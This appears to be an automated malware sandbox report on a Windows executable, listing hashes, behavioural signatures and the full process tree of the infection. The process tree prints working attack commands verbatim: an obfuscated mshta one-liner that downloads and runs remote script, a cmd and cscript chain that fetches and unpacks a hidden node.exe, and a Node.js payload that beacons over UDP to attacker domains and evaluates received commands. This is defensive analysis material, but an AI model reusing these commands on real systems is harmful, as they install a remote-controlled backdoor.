Analysis
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max time kernel
149s -
max time network
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platform
windows7_x64 -
resource
win7v20210408 -
submitted
30-06-2021 09:49
Static task
static1
Behavioral task
behavioral1
Sample
usfive_20210630-104612.exe
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
General
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Target
usfive_20210630-104612.exe
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Size
3KB
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MD5
79fa77b796300ef5bafb6bcee46fc30f
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SHA1
e6ba2132d8058c0532492da00aaec117fff56df4
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SHA256
4c99457625e752a03693aab64e2b5129eff89872c649194e81bd87809ed1ae13
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SHA512
0ae044695cffc50eb1c112ee85e37d0e0c9779c4f6bbbbabb6cd85771ac408414dfd3f804f8175fb56a6d995b259f830cbd6f2380cecb08975955e63f0204faf
Malware Config
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 4 1524 mshta.exe 5 324 cscript.exe -
Executes dropped EXE 1 IoCs
pid Process 1616 node.exe -
Loads dropped DLL 1 IoCs
pid Process 1412 cscript.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 748 icacls.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 1824 tasklist.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 532 ipconfig.exe 960 netstat.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1460 systeminfo.exe -
NTFS ADS 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Temp\ee5fc0bff03738c2:ads node.exe File created C:\ProgramData\DNTException\node.exe:430834f07a76df7c6b8d71f17a5375b3 node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 4 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 5 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1616 node.exe 1616 node.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeDebugPrivilege 1824 tasklist.exe Token: SeIncreaseQuotaPrivilege 768 wmic.exe Token: SeSecurityPrivilege 768 wmic.exe Token: SeTakeOwnershipPrivilege 768 wmic.exe Token: SeLoadDriverPrivilege 768 wmic.exe Token: SeSystemProfilePrivilege 768 wmic.exe Token: SeSystemtimePrivilege 768 wmic.exe Token: SeProfSingleProcessPrivilege 768 wmic.exe Token: SeIncBasePriorityPrivilege 768 wmic.exe Token: SeCreatePagefilePrivilege 768 wmic.exe Token: SeBackupPrivilege 768 wmic.exe Token: SeRestorePrivilege 768 wmic.exe Token: SeShutdownPrivilege 768 wmic.exe Token: SeDebugPrivilege 768 wmic.exe Token: SeSystemEnvironmentPrivilege 768 wmic.exe Token: SeRemoteShutdownPrivilege 768 wmic.exe Token: SeUndockPrivilege 768 wmic.exe Token: SeManageVolumePrivilege 768 wmic.exe Token: 33 768 wmic.exe Token: 34 768 wmic.exe Token: 35 768 wmic.exe Token: SeIncreaseQuotaPrivilege 768 wmic.exe Token: SeSecurityPrivilege 768 wmic.exe Token: SeTakeOwnershipPrivilege 768 wmic.exe Token: SeLoadDriverPrivilege 768 wmic.exe Token: SeSystemProfilePrivilege 768 wmic.exe Token: SeSystemtimePrivilege 768 wmic.exe Token: SeProfSingleProcessPrivilege 768 wmic.exe Token: SeIncBasePriorityPrivilege 768 wmic.exe Token: SeCreatePagefilePrivilege 768 wmic.exe Token: SeBackupPrivilege 768 wmic.exe Token: SeRestorePrivilege 768 wmic.exe Token: SeShutdownPrivilege 768 wmic.exe Token: SeDebugPrivilege 768 wmic.exe Token: SeSystemEnvironmentPrivilege 768 wmic.exe Token: SeRemoteShutdownPrivilege 768 wmic.exe Token: SeUndockPrivilege 768 wmic.exe Token: SeManageVolumePrivilege 768 wmic.exe Token: 33 768 wmic.exe Token: 34 768 wmic.exe Token: 35 768 wmic.exe Token: SeDebugPrivilege 960 netstat.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1608 wrote to memory of 1524 1608 usfive_20210630-104612.exe 25 PID 1608 wrote to memory of 1524 1608 usfive_20210630-104612.exe 25 PID 1608 wrote to memory of 1524 1608 usfive_20210630-104612.exe 25 PID 1608 wrote to memory of 1524 1608 usfive_20210630-104612.exe 25 PID 1524 wrote to memory of 1984 1524 mshta.exe 27 PID 1524 wrote to memory of 1984 1524 mshta.exe 27 PID 1524 wrote to memory of 1984 1524 mshta.exe 27 PID 1524 wrote to memory of 1984 1524 mshta.exe 27 PID 1984 wrote to memory of 324 1984 cmd.exe 29 PID 1984 wrote to memory of 324 1984 cmd.exe 29 PID 1984 wrote to memory of 324 1984 cmd.exe 29 PID 1984 wrote to memory of 324 1984 cmd.exe 29 PID 1984 wrote to memory of 1696 1984 cmd.exe 31 PID 1984 wrote to memory of 1696 1984 cmd.exe 31 PID 1984 wrote to memory of 1696 1984 cmd.exe 31 PID 1984 wrote to memory of 1696 1984 cmd.exe 31 PID 1984 wrote to memory of 1412 1984 cmd.exe 32 PID 1984 wrote to memory of 1412 1984 cmd.exe 32 PID 1984 wrote to memory of 1412 1984 cmd.exe 32 PID 1984 wrote to memory of 1412 1984 cmd.exe 32 PID 1412 wrote to memory of 1616 1412 cscript.exe 33 PID 1412 wrote to memory of 1616 1412 cscript.exe 33 PID 1412 wrote to memory of 1616 1412 cscript.exe 33 PID 1412 wrote to memory of 1616 1412 cscript.exe 33 PID 1616 wrote to memory of 912 1616 node.exe 37 PID 1616 wrote to memory of 912 1616 node.exe 37 PID 1616 wrote to memory of 912 1616 node.exe 37 PID 1616 wrote to memory of 912 1616 node.exe 37 PID 1616 wrote to memory of 1944 1616 node.exe 38 PID 1616 wrote to memory of 1944 1616 node.exe 38 PID 1616 wrote to memory of 1944 1616 node.exe 38 PID 1616 wrote to memory of 1944 1616 node.exe 38 PID 1616 wrote to memory of 748 1616 node.exe 39 PID 1616 wrote to memory of 748 1616 node.exe 39 PID 1616 wrote to memory of 748 1616 node.exe 39 PID 1616 wrote to memory of 748 1616 node.exe 39 PID 1616 wrote to memory of 368 1616 node.exe 40 PID 1616 wrote to memory of 368 1616 node.exe 40 PID 1616 wrote to memory of 368 1616 node.exe 40 PID 1616 wrote to memory of 368 1616 node.exe 40 PID 1616 wrote to memory of 1012 1616 node.exe 41 PID 1616 wrote to memory of 1012 1616 node.exe 41 PID 1616 wrote to memory of 1012 1616 node.exe 41 PID 1616 wrote to memory of 1012 1616 node.exe 41 PID 1616 wrote to memory of 1824 1616 node.exe 42 PID 1616 wrote to memory of 1824 1616 node.exe 42 PID 1616 wrote to memory of 1824 1616 node.exe 42 PID 1616 wrote to memory of 1824 1616 node.exe 42 PID 1616 wrote to memory of 768 1616 node.exe 44 PID 1616 wrote to memory of 768 1616 node.exe 44 PID 1616 wrote to memory of 768 1616 node.exe 44 PID 1616 wrote to memory of 768 1616 node.exe 44 PID 1616 wrote to memory of 532 1616 node.exe 45 PID 1616 wrote to memory of 532 1616 node.exe 45 PID 1616 wrote to memory of 532 1616 node.exe 45 PID 1616 wrote to memory of 532 1616 node.exe 45 PID 1616 wrote to memory of 900 1616 node.exe 46 PID 1616 wrote to memory of 900 1616 node.exe 46 PID 1616 wrote to memory of 900 1616 node.exe 46 PID 1616 wrote to memory of 900 1616 node.exe 46 PID 1616 wrote to memory of 960 1616 node.exe 47 PID 1616 wrote to memory of 960 1616 node.exe 47 PID 1616 wrote to memory of 960 1616 node.exe 47 PID 1616 wrote to memory of 960 1616 node.exe 47 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 1012 attrib.exe 368 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\usfive_20210630-104612.exe"C:\Users\Admin\AppData\Local\Temp\usfive_20210630-104612.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1608 -
C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();35;y=unescape('%321%32%7E%68t%74p%3A%2F%2Fl%751%2Ea%73i%61%2F%68r%69%2F%3F2%31a%36e%34b%7E2%322').split('~');73;try{x='WinHttp';187;x=new ActiveXObject(x+'.'+x+'Request.5.1');250;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);84;x.send();170;y='ipt.S';202;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);34;}catch(e){};67;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1524 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1625046615435.txt & cscript /nologo /e:jscript get1625046615435.txt "http%3A%2F%2Flu1.asia%2Fhri%2F%3F296555a44%26b%3D9db9e344" node.cab & expand node.cab node.exe & del get1625046615435.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1625046615435.txt & cscript /nologo /e:jscript get1625046615435.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%2796555a44%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu0.asia%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1625046615435.txt3⤵
- Suspicious use of WriteProcessMemory
PID:1984 -
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1625046615435.txt "http%3A%2F%2Flu1.asia%2Fhri%2F%3F296555a44%26b%3D9db9e344" node.cab4⤵
- Blocklisted process makes network request
PID:324
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C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
PID:1696
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1625046615435.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%2796555a44%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu0.asia%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1412 -
C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%2796555a44%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu0.asia%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1616 -
C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵PID:912
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C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵PID:1944
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C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
PID:748
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
PID:368
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
PID:1012
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C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1824
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C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
PID:768
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C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
PID:532
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C:\Windows\SysWOW64\route.exeroute.exe print6⤵PID:900
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C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:960
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C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
PID:1460
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